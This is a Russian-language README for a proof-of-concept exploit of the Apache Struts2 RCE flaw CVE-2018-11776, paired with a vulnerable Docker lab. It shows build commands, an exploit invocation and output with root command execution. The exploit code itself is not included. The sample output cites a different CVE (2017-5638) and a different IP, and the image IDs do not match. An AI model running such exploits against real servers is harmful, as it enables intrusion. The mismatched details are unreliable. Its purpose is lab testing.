
Эксплойт на Python для подтверждения концепции уязвимости удаленного выполнения кода Apache Struts2 CVE-2018-11776, включающий контейнер Docker для тестирования на уязвимых версиях 2.3–2.3.34 и 2.5–2.5.16.
Это основано на https://github.com/hook-s3c/CVE-2018-11776-Python-PoC. Сборка контейнера и инструкции не работали, как описано в README, поэтому был создан этот форк. Используемый эксплойт POC взят из Rapid7.
Благодарности:
hook-s3c (github.com/hook-s3c), @hook_s3c в twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
Ман Юэ Мо из Semmle раскрыла уязвимость удаленного выполнения кода (RCE) в Struts2, которая доставляется через полезную нагрузку, закодированную в пути URL запроса.
Затронуты версии с 2.3 до 2.3.34 и с 2.5 до 2.5.16.
Конфигурация по умолчанию не уязвима. Этот контейнер и многие другие уязвимы.
Предпочтительнее собирать контейнер из Dockerfile, когда можно видеть, что входит в сборку.
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
Найдите новый контейнер с помощью
docker images
Вывод должен быть похож на этот, где вы можете получить ID образа.
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
Соберите и запустите контейнер следующей командой.
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
Убедитесь, что любые входящие/исходящие брандмауэры разрешают порт, который вы указали ранее (8080), и запустите эксплойт против вашей цели с помощью следующей команды.
python struts.py http://192.168.2.188:8080 'id'
Ваш вывод должен быть похож на этот.
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)